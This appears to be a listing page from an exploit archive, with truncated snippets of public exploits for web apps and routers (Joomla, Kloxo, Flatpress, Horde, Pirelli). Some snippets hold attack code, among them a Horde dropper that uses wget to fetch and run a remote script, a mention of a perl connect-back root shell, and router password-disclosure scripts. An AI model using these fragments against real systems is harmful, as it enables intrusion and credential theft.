Kisisel Radyo Script - Multiple Vulnerabilities

No description provided by source. Kisisel Radyo Script - Multiple Vulnerabilities Author: FuRty Contact : [email protected] Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group Script : Kisisel Radyo Script Version : N/A Download : http://www.aspindir.com SQL Injection Vulnerable in radyo.as...

WikkaWiki 1.3.2 Spam Logging PHP Injection

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

Sagem Routers Remote Auth bypass Exploit

No description provided by source. !/usr/bin/perl Exploit Title: Sagem routers Remote auth bypass Exploit Date: 04/03/2010 Author: AlpHaNiX Software Link: null Version: Sagem Routers F@ST 1200/1240/1400/1400W/1500/1500-WG/2404 Tested on: Sagem F@ST 2404 Code : use HTTP::Request; use HTTP::Headers...

Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w sorry for the late posting, had to test it. /str0ke Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection By James Bercegay // http://www.gulftech.org/ // June 21 2005 Quick and dirty proof of concept that uses the XML RPC server...

Horde Framework Unserialize PHP Code Execution

ported from metasploit by irrlicht june 2014 modify dropper url and run use strict; use warnings; use LWP::UserAgent; use WWW::Mechanize; use MIME::Base64; if !$ARGV0 print "specify full login.php url\n"; exit; my $dropper = 'system"mkdir /tmp/\" \"; cd /tmp/\" \"; wget -O deploy.pl...

Kemana Directory 1.5.6 - qvc_init() Cookie Poisoning CAPTCHA Bypass

Kemana Directory 1.5.6 - qvcinit Cookie Poisoning CAPTCHA Bypass !C:\Perl64\bin\perl.exe Kemana Directory 1.5.6 qvcinit Cookie Poisoning CAPTCHA Bypass Exploit Vendor: C97net Product web page: http://www.c97.net Affected version: 1.5.6 Summary: Experience the ultimate directory script solution...

Kloxo Remote Root Exploit

Kloxo remote root exploit that leverages a blind SQL injection and injects a perl connect back shell /bin/sh with root privilege. !/usr/bin/perl Title: Kloxo remote root exploit Author: Simo Ben youssef Contact: SimoatMorxploitcom Coded: 28 January 2014 Published: 26 February 2014 MorXploit...

Kloxo Remote Root Exploit

!/usr/bin/perl Title: Kloxo remote root exploit Author: Simo Ben youssef Contact: SimoatMorxploitcom Coded: 28 January 2014 Published: 26 February 2014 MorXploit Research http://www.MorXploit.com Download: http://www.morxploit.com/morxploits/morxkloxo.pl Requires LWP::UserAgent apt-get install...

Joomla Hotornot2 Shell Upload

Title : Joomla comhotornot2 Remote Code Execution Author : DevilScreaM Date : 4 Desember 2013 Category : Web Applications Version : 2.0.0 Type : PHP Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber...

Joomla JMultimedia Command Execution Exploit

Joomla JMultimedia component remote shell upload exploit. !/usr/bin/perl Exploit Title: comjmultimedia Remote Command Execution Author: Deepankar Arora and Rafay Baloch Vendor: http://joomlacode.org/gf/project/denvideo/ Enter the target in this form -- http://victim.com/ Change shell path to your...

Static Http Server 1.0 - Denial Of Service (DoS) Exploit

Exploit for windows platform in category dos / poc Exploit Title: Static Http Server 1.0 Denial Of Service Exploit Date: 24.11.2013 Exploit Author: GalaxyAndroid Vendor Homepage: http://sourceforge.net/projects/static-httpd/files/static-httpd/ Software Link:...

Joomla Alphauserpoints phpThumb.php Shell Upload

Title : Joomla comalpahuserpoints Remote Code Execution Author : DevilScreaM Date : 1 Desember 2013 Category : Web Applications Type : PHP Vendor : http://alphaplug.com/ Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security Indonesian Hacker | Indonesian Exploiter |...

Joomla JMultimedia Command Execution

!/usr/bin/perl Exploit Title: comjmultimedia Remote Command Execution Author: Deepankar Arora and Rafay Baloch Vendor: http://joomlacode.org/gf/project/denvideo/ Enter the target in this form -- http://victim.com/ Change shell path to your own, if needed use LWP::UserAgent; use HTTP::Request;...

Static HTTP Server 1.0 - Denial of Service

Static HTTP Server 1.0 - Denial of Service Exploit Title: Static Http Server 1.0 Denial Of Service Exploit Date: 24.11.2013 Exploit Author: GalaxyAndroid Vendor Homepage: http://sourceforge.net/projects/static-httpd/files/static-httpd/ Software Link:...

Pirelli Discus DRG A125g - Local Password Disclosure

Pirelli Discus DRG A125g - Local Password Disclosure !/usr/bin/perl Author: Sebastián Magof Hardware: pirelli discus DRG A125g Vulnerable file: wlbasic.html Bug: Wifi Password Disclosure Type: Local / ±lpha "" usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n";...

Pirelli Discus DRG A125g - Local Password Disclosure Vulnerability

Exploit for hardware platform in category web applications Vulnerable file: wlbasic.html usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n"; print " Pirelli Discus ADSL DRG A125g Wifi password disclosure \n"; print "\n\n"; wifi pwd disclosure file my $url =...

Flatpress 1.0 - Remote Code Execution

!/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Flatpress 1.0 - Remote Code Execution

Flatpress 1.0 - Remote Code Execution !/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Flatpress 1.0 - Remote Code Execution Vulnerability

Exploit for php platform in category web applications !/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Pirelli Discus DRG A125g - Password Disclosure

Pirelli Discus DRG A125g - Password Disclosure !/usr/bin/perl Author: Sebastián Magof Vulnerable file: wansinglecfg.cmd Bug: Password Disclosure / αlpha "" usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n"; print " Pirelli Discus ADSL DRG A125g password disclosure...